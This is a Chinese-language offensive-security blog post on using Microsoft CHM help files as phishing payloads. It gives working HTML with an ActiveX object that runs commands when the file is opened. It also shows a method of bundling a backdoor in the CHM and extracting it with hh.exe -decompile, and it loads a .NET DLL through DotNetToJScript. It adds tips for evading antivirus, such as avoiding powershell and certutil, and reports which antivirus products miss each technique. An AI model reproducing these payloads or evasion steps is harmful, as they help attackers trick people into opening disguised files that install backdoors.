进行钓鱼选择合适的payload非常重要,使用一些容易让人放松警惕的文件格式可以大大提高钓鱼的成功率。CHM是微软推出的基于HTML的帮助文件系统,被 IE 浏览器支持的JavaScript, VBScript, ActiveX,等,CHM同样支持。因此使用CHM作为钓鱼的payload非常合适。本文总结了两种基于CHM执行命令的方式。
使用com控件命令执行
根据@ithurricanept的twitter
https://twitter.com/ithurricanept/status/534993743196090368
使用了js调用com控件执行命令
源码如下:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
POC
使用HTML Help Workshop
http://microsoft.com/en-us/download/details.aspx?id=21138
创建一个新的project,添加文件后进行编译
测试:
利用
实际测试的时候注意到了以下几点:
-
执行命令的时候注意传入的参数与程序名需要用逗号隔开,参数与参数之间不需要。
- 考虑到进行敏感操作会导致杀软提示,因此尽量避免使用powershell、bitsadmin、certutil、cscript等。
- 通过cmd执行命令也属于敏感操作,因此使用多个控件依次执行命令。
在搜索的过程中发现.chm文件的默认程序hh.exe具有decompile的功能,可以将打包进chm的文件释放出来
HH.EXE -decompile D:/xTemp/decompile-folder C:/xTemp/XMLconvert.chm
因此可以将后门程序一起打包进chm文件中,运行时调用hh.exe释放chm中的后门程序再执行。
测试:
使用360测试的时候效果不太理想,在联网情况下使用hh.exe decompile会被拦截,断网情况下没有问题。
使用火绒测试没有任何拦截。
使用js加载.net
既然可以利用chm执行js,那为什么不内嵌.net和dll呢?
https://github.com/tyranid/DotNetToJScript
POC
编写一个.net dll
namespace ClassLibrary1
{
public class Class1
{
public Class1()
{
/* Start notepad */
Process.Start("notepad.exe");
}
}
}
生成js脚本
DotNetToJScript.exe -o 1.js ClassLibrary1.dll -c ClassLibrary1.Class1
执行js脚本
利用
本来想直接加载shellcode上线,但是有问题,因为对.net不了解所以只能放弃了。。。
最后还是下载后门程序然后执行
测试:
美中不足的是使用js加载.net会有启用activeX控件的警告,必须点“是”之后才能加载。
360火绒均不拦截